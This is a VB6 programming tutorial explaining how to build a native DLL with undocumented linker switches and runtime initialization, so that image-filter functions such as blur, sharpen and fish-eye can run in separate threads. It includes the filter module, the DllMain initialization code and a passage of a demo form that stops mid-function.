[VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

[The trick]

Hello everyone! Today I will talk about yet another method of writing multithreaded programs on VB6, namely the creation of threads in the Native DLL. In principle, there is nothing complicated, passing the function "CreateThread" address exported function and it will be performed in another thread. All is good, but standard, documented features VB6 not create native DLL. But not all that bad, there are a few tricks you can use to create a native DLL, from the substitution of the linker and ending undocumented sections in vbp-file. Just last method we will use to create the DLL. First you need to decide what we all want from DLL, so you can use multithreading. The last time I did download the file, now I decided to pay attention to computing. Ie a new thread we will perform calculations, and the main thread will serve GUI. For the test I developed a DLL for working with graphics, or to be more precise in the DLL will be a function that converts bitmap - impose a variety of effects.
Once upon a time, when I started programming, and studied on the basis of convolution filters, then I really did not like the "slowness" of these techniques. It is now possible to thrust calculation in another thread without blocking the main. I created 10 functions to be exported:

1. Brightness
2. Contrast
3. Saturation
4. GaussianBlur
5. EdgeDetect
6. Sharpen
7. Emboss
8. Minimum
9. Maximum
10. FishEye

' modEffects.bas  - функции для обработки изображений
' © Кривоус Анатолий Анатольевич (The trick), 2014
 
Option Explicit
 
' Передаем эту структуру в поток
Private Type ThreadData
    pix()       As Byte     ' Двухмерный массив пикселей рисунка (w-1,h-1)
    value       As Single   ' Значение эффекта
    percent     As Single   ' Процент выполнения 0..1
End Type
 
' // Функция изменения яркости
Public Function Brightness(dat As ThreadData) As Long
    Dim col()   As Byte
    Dim x       As Long
    Dim y       As Long
    Dim tmp     As Long
    Dim value   As Single
    
    On Error GoTo ERRORLABEL
    
    value = dat.value
    If value < -1 Then value = -1
    If value > 1 Then value = 1
    
    ReDim col(255)
    
    For x = 0 To 255
        tmp = x + value * 255
        If tmp > 255 Then tmp = 255 Else If tmp < 0 Then tmp = 0
        col(x) = tmp
    Next
    
    For y = 0 To UBound(dat.pix, 2)
        For x = 0 To UBound(dat.pix, 1)
            dat.pix(x, y) = col(dat.pix(x, y))
        Next
        dat.percent = y / UBound(dat.pix, 2)
    Next
 
    dat.percent = 1
    Brightness = 1
    
ERRORLABEL:
 
End Function
 
' // Функция изменения контрастности
Public Function Contrast(dat As ThreadData) As Long
    Dim col()   As Byte
    Dim x       As Long
    Dim y       As Long
    Dim tmp     As Long
    Dim value   As Single
    
    On Error GoTo ERRORLABEL
    
    value = dat.value
    If value < 0 Then value = 0
    If value > 100 Then value = 100
    
    ReDim col(255)
    
    For x = 0 To 255
        tmp = 128 + (value ^ 3) * (x - 128)
        If tmp > 255 Then tmp = 255 Else If tmp < 0 Then tmp = 0
        col(x) = tmp
    Next
    
    For y = 0 To UBound(dat.pix, 2)
        For x = 0 To UBound(dat.pix, 1)
            dat.pix(x, y) = col(dat.pix(x, y))
        Next
        dat.percent = y / UBound(dat.pix, 2)
    Next
 
    dat.percent = 1
    Contrast = 1
    
ERRORLABEL:
 
End Function
 
' // Функция изменения насыщенности
Public Function Saturation(dat As ThreadData) As Long
    Dim x       As Long
    Dim y       As Long
    Dim w       As Long
    Dim h       As Long
    Dim tmp     As Long
    Dim r       As Long
    Dim g       As Long
    Dim b       As Long
    Dim br      As Long
    Dim value   As Single
    
    On Error GoTo ERRORLABEL
    
    value = dat.value
    If value > 1 Then value = 1
    If value < 0 Then value = 0
    
    w = UBound(dat.pix, 1) \ 4
    h = UBound(dat.pix, 2)
    
    For y = 0 To h
        For x = 0 To w
            b = dat.pix(x * 4, y)
            g = dat.pix(x * 4 + 1, y)
            r = dat.pix(x * 4 + 2, y)
            br = 0.3 * r + 0.59 * g + 0.11 * b
            r = r * value + br * (1 - value)
            g = g * value + br * (1 - value)
            b = b * value + br * (1 - value)
            dat.pix(x * 4, y) = b
            dat.pix(x * 4 + 1, y) = g
            dat.pix(x * 4 + 2, y) = r
        Next
        dat.percent = y / h
    Next
 
    dat.percent = 1
    Saturation = 1
    
ERRORLABEL:
 
End Function
 
' // Функция размытия по Гауссу
Public Function GaussianBlur(dat As ThreadData) As Long
    Dim kernel()    As Single
    Dim size        As Long
    Dim half        As Long
    Dim weight      As Long
    Dim gx          As Single
    Dim tmp()       As Byte
    Dim x           As Long
    Dim y           As Long
    Dim w           As Long
    Dim h           As Long
    Dim index       As Long
    Dim acc         As Long
    Dim wFrom       As Long
    Dim wTo         As Long
    Dim norm()      As Single
    Dim lnorm       As Single
    Dim px          As Long
    Dim value       As Single
    
    On Error GoTo ERRORLABEL
    
    value = dat.value
    If value < 0 Then value = 0
    If value > 255 Then value = 255
    
    size = CLng(value) * 2
    half = -Int(-size / 2)
    ReDim kernel(size)
    
    kernel(half) = 1
    ReDim norm(half)
    lnorm = 1
    For weight = 1 To half
        gx = 3 * weight / half
        kernel(half - weight) = Exp(-gx * gx / 2)
        kernel(half + weight) = kernel(half - weight)
        lnorm = lnorm + kernel(half + weight) * 2
    Next
    
    For x = 0 To half
        norm(x) = lnorm
        lnorm = lnorm - kernel(x)
    Next
    
    w = UBound(dat.pix, 1) \ 4
    h = UBound(dat.pix, 2)
    ReDim tmp(w * 4, h)
 
    For y = 0 To h
        For x = 0 To w - 1
            If x < half Then wFrom = x Else wFrom = half
            If x > w - half Then wTo = w - x Else wTo = half
            
            For px = 0 To 3
                acc = 0
                For index = -wFrom To wTo
                    acc = acc + dat.pix((x + index) * 4 + px, y) * kernel(index + half)
                Next
                acc = acc / norm(half * 2 - (wTo + wFrom))
                If acc > 255 Then acc = 255
                tmp(x * 4 + px, y) = acc
            Next
        Next
        dat.percent = y / h / 2
    Next
    
    For x = 0 To w - 1
        For y = 0 To h
            If y < half Then wFrom = y Else wFrom = half
            If y > h - half Then wTo = h - y Else wTo = half
            For px = 0 To 4
                acc = 0
                For index = -wFrom To wTo
                    acc = acc + tmp(x * 4 + px, y + index) * kernel(index + half)
                Next
                acc = acc / norm(half * 2 - (wTo + wFrom))
                If acc > 255 Then acc = 255
                dat.pix(x * 4 + px, y) = acc
            Next
        Next
        dat.percent = x / w / 2 + 0.5
    Next
    
    dat.percent = 1
    GaussianBlur = 1
    
ERRORLABEL:
    
End Function
 
' // Минимум
Public Function Minimum(dat As ThreadData) As Long
    Dim x       As Long
    Dim y       As Long
    Dim w       As Long
    Dim h       As Long
    Dim px      As Long
    Dim hlf     As Long
    Dim fx      As Long
    Dim fy      As Long
    Dim tx      As Long
    Dim ty      As Long
    Dim dx      As Long
    Dim dy      As Long
    Dim acc     As Byte
    Dim tmp()   As Byte
    Dim value   As Single
    
    On Error GoTo ERRORLABEL
    
    value = dat.value
    If value < 0 Then value = 0
    If value > 255 Then value = 255
    
    w = UBound(dat.pix, 1) \ 4
    h = UBound(dat.pix, 2)
    hlf = CLng(dat.value)
    tmp = dat.pix
    
    For y = 0 To h
    
        If y < hlf Then fy = y Else fy = hlf
        If y > h - hlf Then ty = h - y Else ty = hlf
        
        For x = 0 To w
        
            If x < hlf Then fx = x Else fx = hlf
            If x > w - hlf Then tx = w - x Else tx = hlf
            
            For px = 0 To 3
                acc = 255
                
                For dx = -fx To tx: For dy = -fy To ty
                    If tmp((x + dx) * 4 + px, y + dy) < acc Then acc = tmp((x + dx) * 4 + px, y + dy)
                Next: Next
                
                dat.pix(x * 4 + px, y) = acc
                
            Next
            
        Next
        
        dat.percent = y / h
        
    Next
    
    dat.percent = 1
    Minimum = 1
    
ERRORLABEL:
    
End Function
 
' // Максимум
Public Function Maximum(dat As ThreadData) As Long
    Dim x       As Long
    Dim y       As Long
    Dim w       As Long
    Dim h       As Long
    Dim px      As Long
    Dim hlf     As Long
    Dim fx      As Long
    Dim fy      As Long
    Dim tx      As Long
    Dim ty      As Long
    Dim dx      As Long
    Dim dy      As Long
    Dim acc     As Byte
    Dim tmp()   As Byte
    Dim value   As Single
    
    On Error GoTo ERRORLABEL
    
    value = dat.value
    If value < 0 Then value = 0
    If value > 255 Then value = 255
 
    w = UBound(dat.pix, 1) \ 4
    h = UBound(dat.pix, 2)
    hlf = CLng(dat.value)
    tmp = dat.pix
    
    For y = 0 To h
    
        If y < hlf Then fy = y Else fy = hlf
        If y > h - hlf Then ty = h - y Else ty = hlf
        
        For x = 0 To w
        
            If x < hlf Then fx = x Else fx = hlf
            If x > w - hlf Then tx = w - x Else tx = hlf
            
            For px = 0 To 3
                acc = 0
                
                For dx = -fx To tx: For dy = -fy To ty
                    If tmp((x + dx) * 4 + px, y + dy) > acc Then acc = tmp((x + dx) * 4 + px, y + dy)
                Next: Next
                
                dat.pix(x * 4 + px, y) = acc
                
            Next
            
        Next
        
        dat.percent = y / h
        
    Next
    
    dat.percent = 1
    Maximum = 1
    
ERRORLABEL:
    
End Function
 
' // Тиснение
Public Function Emboss(dat As ThreadData) As Long
    Dim kernel()    As Single
    Dim value       As Single
    
    value = dat.value
    ReDim kernel(2, 2)
    
    kernel(0, 0) = -value ^ 2:  kernel(1, 0) = -value:          kernel(2, 0) = 0
    kernel(0, 1) = -value:      kernel(1, 1) = 9:               kernel(2, 1) = value
    kernel(0, 2) = 0:           kernel(1, 2) = value:           kernel(2, 2) = value ^ 2
    
    Emboss = Convolution(dat, kernel)
End Function
 
' // Выделение краев
Public Function EdgeDetect(dat As ThreadData) As Long
    Dim kernel() As Single
    Dim value       As Single
    
    value = dat.value
    ReDim kernel(2, 2)
    
    kernel(0, 0) = 0:           kernel(1, 0) = -value:          kernel(2, 0) = 0
    kernel(0, 1) = -value:      kernel(1, 1) = value * 4:       kernel(2, 1) = -value
    kernel(0, 2) = 0:           kernel(1, 2) = -value:          kernel(2, 2) = 0
    
    EdgeDetect = Convolution(dat, kernel)
 
End Function
 
' // Резкость
Public Function Sharpen(dat As ThreadData) As Long
    Dim kernel()    As Single
    Dim value       As Single
    
    value = dat.value
    ReDim kernel(2, 2)
    
    kernel(0, 0) = 0:           kernel(1, 0) = -value:          kernel(2, 0) = 0
    kernel(0, 1) = -value:      kernel(1, 1) = value * 4 + 9:   kernel(2, 1) = -value
    kernel(0, 2) = 0:           kernel(1, 2) = -value:          kernel(2, 2) = 0
    
    Sharpen = Convolution(dat, kernel)
 
End Function
 
' // Рыбий глаз
Public Function FishEye(dat As ThreadData) As Long
    Dim x       As Long
    Dim y       As Long
    Dim cx      As Single
    Dim cy      As Single
    Dim nx      As Long
    Dim ny      As Long
    Dim r       As Single
    Dim tmp()   As Byte
    Dim w       As Long
    Dim h       As Long
    Dim value   As Single
    Dim px      As Long
    
    On Error GoTo ERRORLABEL
    
    w = UBound(dat.pix, 1) \ 4 + 1
    h = UBound(dat.pix, 2) + 1
    value = dat.value
    
    If value > 1 Then value = 1
    If value < 0 Then value = 0
    
    tmp = dat.pix
    
    For y = 0 To h - 1
        For x = 0 To w - 1
            cx = x / w - 0.5: cy = y / h - 0.5
            r = Sqr(cx * cx + cy * cy)
            nx = (cx + 0.5 + value * cx * ((r - 1) / 0.5)) * (w - 1)
            ny = (cy + 0.5 + value * cy * ((r - 1) / 0.5)) * (h - 1)
            For px = 0 To 3
                dat.pix(x * 4 + px, y) = tmp(nx * 4 + px, ny)
            Next
        Next
        dat.percent = y / h
    Next
    
    dat.percent = 1
    FishEye = 1
    
ERRORLABEL:
End Function
 
' // Фильтрация с помощью свертки
Private Function Convolution(dat As ThreadData, kernel() As Single) As Long
    Dim x       As Long
    Dim y       As Long
    Dim w       As Long
    Dim h       As Long
    Dim dx      As Long
    Dim dy      As Long
    Dim tmp()   As Byte
    Dim valFx   As Long
    Dim valFy   As Long
    Dim valTx   As Long
    Dim valTy   As Long
    Dim acc     As Long
    Dim px      As Long
    Dim hlfSize As Long
    
    On Error GoTo ERRORLABEL
    
    w = UBound(dat.pix, 1)
    h = UBound(dat.pix, 2)
    hlfSize = UBound(kernel) \ 2
    
    tmp = dat.pix
    
    For y = 0 To h
        If y < hlfSize Then valFy = y Else valFy = hlfSize
        If y > h - hlfSize Then valTy = h - y Else valTy = hlfSize
        For x = 0 To w
            px = x \ 4
            If px < hlfSize Then valFx = px Else valFx = hlfSize
            If px > w \ 4 - hlfSize Then valTx = w \ 4 - px Else valTx = hlfSize
            acc = 0
            For dy = -valFy To valTy
                For dx = -valFx To valTx
                    acc = acc + tmp(x + dx * 4, y + dy) * kernel(dx + hlfSize, dy + hlfSize)
                Next
            Next
            acc = acc \ ((valFx + valTx + 1) * (valFy + valTy + 1))
            If acc > 255 Then acc = 255 Else If acc < 0 Then acc = 0
            dat.pix(x, y) = acc
        Next
        dat.percent = y / h
    Next
    
    Convolution = 1
    dat.percent = 1
ERRORLABEL:
    
End Function '

[The trick]

All functions have the same prototype in order to be able to be called from a separate thread, take ThreadData structure as an argument. I will describe in more detail the field:

• pix () - dimensional array of pixels such as Byte, the first dimension sets RGBQUAD field horizontally, the other vertically. Ie pix (0,0) contains the blue component of the 0x0 pixel, pix (1,0) - the green component table 0x0 pixel, pix (2,0) - the red component, pix (4,0) - the blue component of the 1x0 pixel, etc. As can be seen on the pixel array is input in the format of 32 bits per pixel. It follows that the first dimension is 4 times more than the width of the image, and the second - correspond to the height.
• value - value of the effect. For example GaussianBlur for this parameter is responsible for the effect of blur, and the "fish-eye" for the amount of distortion. For each effect their ranges of value.
• percent - this is a return parameter. It contains a value representing the percentage of the function and from it we are in the main thread will update the progress bar. The range is from 0 to 1.

Also, in addition to the main exported functions, we have found an auxiliary non-exportable function Convolution, which calculates the convolution. On the basis of the convolution in my implementation work effects embossing, edge detection and sharpness. In this description of the module is complete, now go directly to the creation of DLL. So, as I said, we will create a DLL using undocumented key compilation. With this understood, will now have to make a choice - to choose what type of project. Looking ahead to say that it is better to choose ActiveX Dll, because from it is easy to get some information that we will need in the future. Although you can use and Standart EXE, no particular difference. If you read about the keys compilation, the author of the topic wrote:

no runtime initialization is not

, so we are going to initialize the runtime. About the limitations of uninitialized runtime I wrote a little in the previous post. Initialize itself is not needed, if for example use this DLL in VB6, because runtime (or rather stream) is already initialized. So for ordinary functions called in the same thread from VB6 this DLL will perform its tasks by 100%. That is why the network can meet a lot of debated topics that native DLL, created in VB6 not work in other languages. The whole point is initialized.
How do we initialize the thread to complete the work of our DLL? Firstly, we need to define their points of entry DllMain. How to do it? To do this, there is a key ENTRY linker. Inscribe the name of our function and our DLL starts with her. The prototype of this function should be as follows:

Public Function DllMain(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
End Function

In hInstDLL - transferred to the base address of the module is loaded (it hInstance, hModule), in fdwReason transmitted value indicating the reason for calling this function. There are 4 cases of this function is called when the DLL is loaded into the address space of a process (DLL_PROCESS_ATTACH), when you create a new thread in the process (DLL_THREAD_ATTACH) and respectively two paired opposite case with the correct end of the filament (DLL_THREAD_DETACH) and unload the DLL from memory (DLL_PROCESS_DETACH), also correct. lpReserved - not important for us.
Now when loading DLL will be called by our function and we can do the initialization. With this clear. Now imagine the situation that the DLL is loaded into the address space of a process, but a process creates a thread, and both feature called Foo, what will happen? What will be important variable Temp after the threads?

' DLL code
Dim Temp As Long
 
Public Sub foo()
    Temp = App.ThreadID
End Sub

It all depends on what kind of a last will write a value to a variable Temp, and it is impossible to know for sure. There was a problem - a module-level variables become shared, they are accessible to all threads in the process for modification, and it can generate a lot of errors (race condition, interlocks, etc.). Fortunately there is a way out of this situation - the use of thread local storage (TLS) to store thread-specific data. You can do it manually via the special functions (TlsAlloc, TlsFree, TlsSetValue, TlsGetValue), or to entrust this task to the compiler that is more convenient. To do this, there is an option Threading model in the project properties. If there stands Single Threaded, then all variables will be shared, and if Apartment Threaded - each thread gets its own copy of the variables. With this clear. In this module, there is no common variables so we choose the Single Threaded.
Now, regarding the runtime initialization. Method for creating a runtime initialization Native DLL, which will be described hereinafter, has been demonstrated for the first time and described in the draft FireNativeDLL. Given that the ActiveX DLL work in multi-threaded programs (you can easily work with a DLL example in Delphi or C ++), it means that you can initialize the stream having gone by creating an object. After viewing the inside of ActiveX DLL, it was revealed that the entry point is UserDllMain of runtime, passing the first two parameters of the two pointers:

So, to start initialization need to call from our entry point UserDllMain from VB6, but you need to get 2 parameters. While we will not do this, because one call UserDllMain enough, otherwise you would not bother and leave as it is, it is called by default. Initialization flow is performed when an object of the ActiveX DLL. In order to create the object you want to call DllGetClassObject function from the DLL. Let's see how this feature looks inside, and along with other exported functions:

Function "DllGetClassObject" sends the data to the function "VBDllGetClassObject" of additional runtime passing the first three pointer parameters. It can be seen that the 2 pointer passed to the "UserDllMain" the first two parameters are equivalent to the first two signs transmitted in "VBDllGetClassObject", and the third parameter corresponds to the structure "VBHeader" which describes the project. In my version of the runtime first parameter (lphInst) is a pointer to that "UserDllMain" writes "hInstance" library, the second (lpUnk) parameter is not used any function. Perhaps in some other versions of these runtime parameters to be used in a different way, so you should provide the appropriate values.
Now you need to get the addresses of the data. To do this, analyzing opcodes, get them to the example of "DllGetClassObject":

• Address "VBHeader" will be equal to at function "DllGetClassObject + 2" (skip opcode POP EAX, and PUSH)
• Address "lpUnk" will be equal to at function "DllGetClassObject + 7"
• Address "lphInstance" will be equal to at function "DllGetClassObject + 12"

[The trick]

Get the address of "UserDllMain" is very simple, because we know the handle of the library (it is passed as the first parameter); call "GetProcAddress" and get the address "DllGetClassObject". Next, we obtain the values through "GetMem4". I want to note that all API functions must be declared in a type library for this I compiled "DllInitialize.tlb", after compiling it does not need. To call "VBDllGetClassObject" use as "IID - IUnknown", as "CLSID - IID_NULL". Also, for initialization "COM" function must be called "CoInitialize". If we now try to collect a DLL, it will work, but keep in mind that the first call "VBDllGetClassObject" all unit variables are initialized to default values. Therefore it is necessary to call derived variables stored in local variables, and then it is already possible to maintain a modular. You also need to consider the threading model of the project: to "Apartment", as a function of "DllMain" should not be appeals to modular variables. For both models, I created two modules:
For single threaded:

' modMainDLL.bas  - инициализация DLL (Single thread)
' © Кривоус Анатолий Анатольевич (The trick), 2014

Option Explicit

Private Type uuid
    data1       As Long
    data2       As Integer
    data3       As Integer
    data4(7)    As Byte
End Type

Public hInstance    As Long

Private lpInst_     As Long
Private lpUnk_      As Long
Private lpVBHdr_    As Long

' Точка входа
Public Function DllMain(ByVal hInstDll As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
    Dim lpProc      As Long
    Dim lpInst      As Long
    Dim lpUnk       As Long
    Dim lpVBHdr     As Long
    
    ' При создании процесса инициализируем адреса нужных переменных
    If fdwReason = DLL_PROCESS_ATTACH Then
        ' Получаем нужные нам данные, VBHeader, и два указателя необходимых для инициализации
        lpProc = GetProcAddress(hInstDll, "DllGetClassObject")
        If lpProc = 0 Then Exit Function
        GetMem4 ByVal lpProc + 2, lpVBHdr
        GetMem4 ByVal lpProc + 7, lpUnk
        GetMem4 ByVal lpProc + 12, lpInst
        DllMain = InitRuntime(lpInst, lpUnk, lpVBHdr, hInstDll, fdwReason, lpvReserved)
        lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDll
    ElseIf fdwReason = DLL_THREAD_ATTACH Then
        DllMain = InitRuntime(lpInst_, lpUnk_, lpVBHdr_, hInstDll, fdwReason, lpvReserved)
    Else
        vbCoUninitialize
        DllMain = UserDllMain(lpInst_, lpUnk_, hInstDll, fdwReason, ByVal lpvReserved)
    End If
    
End Function

Private Function InitRuntime(ByVal lpInst As Long, ByVal lpUnk As Long, ByVal lpVBHdr As Long, ByVal hInstDll As Long, _
                             ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
    Dim iid     As uuid
    Dim clsid   As uuid
    
    InitRuntime = UserDllMain(lpInst, lpUnk, hInstDll, fdwReason, ByVal lpvReserved)
    If InitRuntime Then
        vbCoInitialize ByVal 0&
        iid.data4(0) = &HC0: iid.data4(7) = &H46                    ' IUnknown
        VBDllGetClassObject lpInst, lpUnk, lpVBHdr, clsid, iid, 0   ' Инициализация потока
    End If
End Function

For apartment threaded:

' modMainDLL.bas  - инициализация DLL (Apartment threaded)
' © Кривоус Анатолий Анатольевич (The trick), 2014

Option Explicit

Private Type uuid
    data1       As Long
    data2       As Integer
    data3       As Integer
    data4(7)    As Byte
End Type

Public hInstance    As Long

Private lpInst_     As Long
Private lpUnk_      As Long
Private lpVBHdr_    As Long

' Точка входа, здесь не должно быть обращения к внешним переменным, т.е. public, private, static
Public Function DllMain(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
    Dim iid         As uuid
    Dim clsid       As uuid
    Dim lpInst     As Long
    Dim lpUnk      As Long
    Dim lpVBHdr    As Long
    Dim lpProc  As Long
    
    ' При создании процесса или потока
    If fdwReason = DLL_PROCESS_ATTACH Or fdwReason = DLL_THREAD_ATTACH Then
        ' Получаем нужные нам данные, VBHeader, и два указателя необходимых для инициализаци
        ' Каждый поток содержит свои данные (публичные, статичные переменные и т.д.)
        lpProc = GetProcAddress(hInstDLL, "DllGetClassObject")
        If lpProc = 0 Then Exit Function
        GetMem4 ByVal lpProc + 2, lpVBHdr
        GetMem4 ByVal lpProc + 7, lpUnk
        GetMem4 ByVal lpProc + 12, lpInst
        ' Инициализация COM
        vbCoInitialize ByVal 0&
        ' Эта функция вызывается из ActiveX DLL
        DllMain = UserDllMain(lpInst, lpUnk, hInstDLL, fdwReason, ByVal lpvReserved)
        If DllMain = 0 Then Exit Function
        iid.data4(0) = &HC0: iid.data4(7) = &H46                            ' IUnknown
        VBDllGetClassObject lpInst, lpUnk, lpVBHdr, clsid, iid, 0           ' Инициализация потока
        ' Тут глобальные и статичные переменные обнуляются, восстанавливаем их
        SetPublicVariable lpInst, lpUnk, lpVBHdr, hInstDLL
    Else
        vbCoUninitialize
        DllMain = DefMainDLL(hInstDLL, fdwReason, ByVal lpvReserved)
    End If

End Function

Private Sub SetPublicVariable(ByVal lpInst As Long, ByVal lpUnk As Long, ByVal lpVBHdr As Long, ByVal hInstDLL As Long)
    lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDLL
End Sub
Private Function DefMainDLL(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
    DefMainDLL = UserDllMain(lpInst_, lpUnk_, hInstDLL, fdwReason, ByVal lpvReserved)
End Function

So now we know how to initialize the runtime and can begin to compile a native DLL. In the project file add these lines for specifying additional compiler and linker keys:

[VBCompiler]
LinkSwitches= /ENTRY:DllMain /EXPORT:Brightness /EXPORT:Contrast /EXPORT:Saturation /EXPORT:GaussianBlur /EXPORT:EdgeDetect /EXPORT:Sharpen /EXPORT:Emboss /EXPORT:Minimum /EXPORT:Maximum /EXPORT:FishEye

And adjusts the threading model of the project in single threaded, also need to add a class to the project, otherwise the project will not compile. Optionally, you can also add functionality ActiveX DLL, then you can work with this DLL and how ActiveX, and as with the conventional native importing function.

[The trick]

To test the DLL was written mini-program:

' Демонстрация использования многопоточности в NativeDLL на примере графических эффектов
' © Кривоус Анатолий Анатольевич (The trick), 2014

Option Explicit

' Структура, идентичная объявленной в DLL
Private Type ThreadData
    pix()       As Byte
    value       As Single
    percent     As Single
End Type

Private Type BITMAPINFOHEADER
    biSize          As Long
    biWidth         As Long
    biHeight        As Long
    biPlanes        As Integer
    biBitCount      As Integer
    biCompression   As Long
    biSizeImage     As Long
    biXPelsPerMeter As Long
    biYPelsPerMeter As Long
    biClrUsed       As Long
    biClrImportant  As Long
End Type

Private Type BITMAPINFO
    bmiHeader       As BITMAPINFOHEADER
    bmiColors       As Long
End Type

Private Type OPENFILENAME
    lStructSize         As Long
    hwndOwner           As Long
    hInstance           As Long
    lpstrFilter         As Long
    lpstrCustomFilter   As Long
    nMaxCustFilter      As Long
    nFilterIndex        As Long
    lpstrFile           As Long
    nMaxFile            As Long
    lpstrFileTitle      As Long
    nMaxFileTitle       As Long
    lpstrInitialDir     As Long
    lpstrTitle          As Long
    Flags               As Long
    nFileOffset         As Integer
    nFileExtension      As Integer
    lpstrDefExt         As Long
    lCustData           As Long
    lpfnHook            As Long
    lpTemplateName      As Long
End Type

Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameW" (pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetDIBits Lib "gdi32" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long
Private Declare Function SetDIBitsToDevice Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal dx As Long, ByVal dy As Long, ByVal SrcX As Long, ByVal SrcY As Long, ByVal Scan As Long, ByVal NumScans As Long, Bits As Any, BitsInfo As BITMAPINFO, ByVal wUsage As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function GetExitCodeThread Lib "kernel32" (ByVal hThread As Long, lpExitCode As Long) As Long

Private Const STILL_ACTIVE  As Long = &H103&
Private Const INFINITE      As Long = -1&

Dim hLib    As Long         ' hInstance библиотеки
Dim td      As ThreadData   ' Данные потока
Dim hThread As Long         ' Описатель потока
Dim pic     As StdPicture   ' Изображение
Dim bi      As BITMAPINFO   ' Информация об изображении
Dim quene   As Boolean      ' Флаг очереди

' // Нажатие на кнопку загрузки рисунка
Private Sub cmdLoad_Click()
    ' Загружаем
    LoadImage
End Sub

' // Загрузка формы
Private Sub Form_Load()
    ' Загружаем DLL
    ChDir App.Path: ChDrive App.Path
    hLib = LoadLibrary(StrPtr("..\GraphicsDLL\GraphicsDLL.dll"))
    If hLib = 0 Then MsgBox "Неудалось загрузить DLL": End
    ' Загружаем картинку по умолчанию
    LoadImage "defpic.jpg"
End Sub

' // Выгрузка формы
Private Sub Form_Unload(cancel As Integer)
    ' Если поток выполняется ждем завершения
    If hThread Then WaitForSingleObject hThread, INFINITE
    ' Выгружаем библиотеку
    FreeLibrary hLib
End Sub

' // Запускаем эффект
Private Sub RunEffect()
    
    Select Case cboEffect.ListIndex
    Case 0: picImage.PaintPicture pic, 0, 0                 ' Исходное изображение
    Case 1: RunProcedure "Brightness", sldValue / 50 - 1    ' Яркость
    Case 2: RunProcedure "Contrast", sldValue / 50          ' Контрастность
    Case 3: RunProcedure "Saturation", sldValue / 100       ' Насыщенность
    Case 4: RunProcedure "GaussianBlur", sldValue / 2       ' Размытие
    Case 5: RunProcedure "EdgeDetect", sldValue / 2 + 1     ' Выделение контуров
    Case 6: RunProcedure "Sharpen", sldValue / 3            ' Резкость
    Case 7: RunProcedure "Emboss", sldValue / 10            ' Тиснение
    Case 8: RunProcedure "Minimum", sldValue / 10           ' Минимум
    Case 9: RunProcedure "Maximum", sldValue / 10           ' Максимум
    Case 10: RunProcedure "FishEye", sldValue / 100         ' Рыбий глаз
    End Select
    
End Sub

' // Загрузить картинку
Private Sub LoadImage(Optional ByVal fileName As String)
    Dim ofn     As OPENFILENAME
    Dim title   As String
    Dim out     As String
    Dim filter  As String
    Dim i       As Long
    Dim dx      As Long
    Dim dy      As Long
    ' Если поток выполняется ждем завершения
    If hThread Then WaitForSingleObject hThread, INFINITE
    ' Если имя файла не задано, то показываем диалог открытия файла
    If Len(fileName) = 0 Then
        ofn.nMaxFile = 260
        out = String(260, vbNullChar)
        title = "Open image"
        filter = "Picture file" & vbNullChar & "*.bmp;*.jpg" & vbNullChar
        ofn.hwndOwner = Me.hWnd
        ofn.lpstrTitle = StrPtr(title)
        ofn.lpstrFile = StrPtr(out)
        ofn.lStructSize = Len(ofn)
        ofn.lpstrFilter = StrPtr(filter)
        If GetOpenFileName(ofn) = 0 Then Exit Sub
        ' Получаем имя файла
        i = InStr(1, out, vbNullChar, vbBinaryCompare)
        fileName = Left$(out, i - 1)
    End If
    
    On Error Resume Next
    ' Загружаем картинку
    Set pic = LoadPicture(fileName)
    If Err.Number Then MsgBox "Ошибка загрузки изображения", vbCritical: Exit Sub
    On Error GoTo 0
    
    ' Установка постоянных атрибутов картинки
    bi.bmiHeader.biSize = Len(bi.bmiHeader)
    bi.bmiHeader.biBitCount = 32
    bi.bmiHeader.biHeight = ScaleY(pic.Height, vbHimetric, vbPixels)
    bi.bmiHeader.biWidth = ScaleX(pic.Width, vbHimetric, vbPixels)
    bi.bmiHeader.biPlanes = 1
    ' Массив пикселей
    ReDim td.pix(bi.bmiHeader.biWidth * 4 - 1, bi.bmiHeader.biHeight - 1)
    ' Проверка размеров
    If bi.bmiHeader.biWidth > picCanvas.ScaleWidth Then
        hsbScroll.Max = bi.bmiHeader.biWidth - picCanvas.ScaleWidth
        hsbScroll.Visible = True
        dx = -hsbScroll.value
    Else
        dx = (picCanvas.ScaleWidth - bi.bmiHeader.biWidth) / 2
        hsbScroll.value = 0: hsbScroll.Visible = False
    End If
    
    If bi.bmiHeader.biHeight > picCanvas.ScaleHeight Then
        vsbScroll.Max = bi.bmiHeader.biHeight - picCanvas.ScaleHeight
        vsbScroll.Visible = True
        dy = -vsbScroll.value
    Else
        dy = (picCanvas.ScaleHeight - bi.bmiHeader.biHeight) / 2
        vsbScroll.value = 0: vsbScroll.Visible = False
    End If
    ' Перемещаем картинку
    picImage.Move dx, dy, bi.bmiHeader.biWidth, bi.bmiHeader.biHeight
    ' Отображаем ее
    cboEffect.ListIndex = 0: RunEffect
End Sub

' // Запустить эффект в другом потоке
Private Sub RunProcedure(Name As String, ByVal value As Single)
